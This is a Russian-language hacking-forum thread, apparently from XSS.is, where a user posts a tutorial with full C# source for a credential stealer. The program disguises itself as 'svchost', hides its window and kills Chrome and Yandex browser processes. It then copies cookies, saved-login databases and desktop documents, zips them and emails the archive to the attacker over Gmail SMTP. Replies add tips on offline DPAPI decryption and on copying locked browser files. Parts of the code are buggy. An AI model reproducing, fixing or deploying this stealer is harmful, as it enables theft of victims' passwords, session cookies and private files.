• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как написать свой стиллер?

kreet

floppy-диск
Пользователь
Регистрация
16.09.2019
Сообщения
9
Реакции
0
Пожалуйста, обратите внимание, что пользователь заблокирован
Для создания стиллера нам понадобится: Visual Studio 2013 и выше. Для начала создадим новый проект Windows Forms, переходим в свойства и выставляем следующие значения:

FormBorderStyle : None
Text : Оставляем пустоту
Enabled : False
ShowIcon : False
TopMost : False
TransparencyKey : Кликаем > система > control
CausesValidation : False
SizeGripStyle : Hide

Библиотеки которые нам понадобятся (код)

C#:
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;

Выставляем путь до наших файлов (код)

C#:
namespace svchost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
            string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
            string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
            string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
            string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
            string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
            string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола

Убираем лишнее (код)

C#:
List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
            foreach (string i in files) // пихаем
            {
                string extens = Path.GetExtension(i); // Делаем отсев по расширению
                if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                {
                    listFiles.Add(i); // пихаем
                }
            }
            List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                foreach(string i in listFiles)
                {
                    names.Add(Path.GetFileName(i));
                }

Пока браузер жертвы активен, до файлов нам не добраться, поэтому закрываем их (код)

C#:
foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
            {
                i.Kill();
            }
          
            foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
            {
                i.Kill();
            }

Теперь создаем папку, куда мы скопируем все наши файлы (код)

C#:
if (Directory.Exists(_path) == false) // проверка на наличие папки
            {
                DirectoryInfo dir = Directory.CreateDirectory(_path);
            }
            else
            {
                Directory.Delete(_path); // Удаление папки
            }
            for (int i = 0; i < listFiles.Count; i++ )
            {
                if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                {
                    File.Delete(Path.Combine(_path, names[i])); // удаление
                }
                File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
            }
            try
            {
                File.Copy(Login_Data_Chrome, _path); // достаем пароли
                File.Copy(Login_Data_Yandex, _path); // пароли
                File.Copy(Chrome, _path);// куки
                File.Copy(Yandex, _path);//куки
            }
            catch
            {
                /// Кукишь тебе а не куки!
            }

Теперь кликаем в боковой панельки по названию нашего проекта, далее управление пакетами NuGet , после В поиске вбиваем DotNetZip и устанавливаем его.

Далее создаем архив и архивируем нашу папку (код)

C#:
string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
            using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
            {
                if (File.Exists(pathToLogs))
                {
                    File.Delete(pathToLogs); // опять проверки, проверки, проверки
                }
                zip.AddDirectory(_path); // создаем архив
                zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                zip.Save(Path.Combine(pathToLogs));
            }

Отправляем архив с куки себе на почту (код)

C#:
MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
            // кому отправляем
            MailAddress to = new MailAddress("your_mail@gmail.com");
            // создаем объект сообщения
            MailMessage m = new MailMessage(from, to);
            // тема письма
            m.Subject = "Тест";
            // текст письма
            m.Body = "<h1>Логи</h1>";
            // письмо представляет код html
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(pathToLogs));
            // адрес smtp-сервера и порт, с которого будем отправлять письмо
            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
            // логин и пароль
            smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
            smtp.EnableSsl = true;
            smtp.Send(m);

P.S Измените данные почты и @smpt


C#:
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
namespace svchost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
            string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
            string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
            string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
            string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
            string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
            string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
            List<string> listFiles = new List<string>(); // пихаем их в этот список
            foreach (string i in files) // пихаем
            {
                string extens = Path.GetExtension(i);
                if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                {
                    listFiles.Add(i); // пихаем
                }
            }
            List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                foreach(string i in listFiles)
                {
                    names.Add(Path.GetFileName(i));
                }


            foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
            {
                i.Kill();
            }
          
            foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
            {
                i.Kill();
            }

            if (Directory.Exists(_path) == false) // проверка на наличие папки
            {
                DirectoryInfo dir = Directory.CreateDirectory(_path);
            }
            else
            {
                Directory.Delete(_path); // Удаление папки
            }
            for (int i = 0; i < listFiles.Count; i++ )
            {
                if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                {
                    File.Delete(Path.Combine(_path, names[i])); // удаление
                }
                File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
            }
            try
            {
                File.Copy(Login_Data_Chrome, _path); // достаем пароли
                File.Copy(Login_Data_Yandex, _path); // пароли
                File.Copy(Chrome, _path);// куки
                File.Copy(Yandex, _path);//куки
            }
            catch
            {
                /// Кукишь тебе а не куки!
            }
            string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
            using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
            {
                if (File.Exists(pathToLogs))
                {
                    File.Delete(pathToLogs); // опять проверки, проверки, проверки
                }
                zip.AddDirectory(_path); // создаем архив
                zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                zip.Save(Path.Combine(pathToLogs));
            }
            //отправка на почту
            MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
            // кому отправляем
            MailAddress to = new MailAddress("your_mail@gmail.com");
            // создаем объект сообщения
            MailMessage m = new MailMessage(from, to);
            // тема письма
            m.Subject = "Тест";
            // текст письма
            m.Body = "<h1>Логи</h1>";
            // письмо представляет код html
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(pathToLogs));
            // адрес smtp-сервера и порт, с которого будем отправлять письмо
            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
            // логин и пароль
            smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
            smtp.EnableSsl = true;
            smtp.Send(m);
            // вот и все

          
        }
    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пароли хрома шифруются DPAPI, их расшифровать можно только под той учеткой, под которой они были зашифрованы.
 
Какой вообще смысл использовать шарп для написания малвари? Он не запустится на половине ОС.
ну не на половине, а на 10-15% машин, на которых нет .NET, но такие обычно по-другому уязвимы
 
Пароли хрома шифруются DPAPI, их расшифровать можно только под той учеткой, под которой они были зашифрованы.
Или же сдампить этот самый DPAPI и устроить оффлайн расшифровку:)
А по коду - не обязательно убивать процесс браузера чтобы разлочить файлы, достаточно скопировать их а-ля создать темп копию и над ней уже проводить манипуляции.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Да это пздц...
Да же не думайте это дерьмо компилить
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх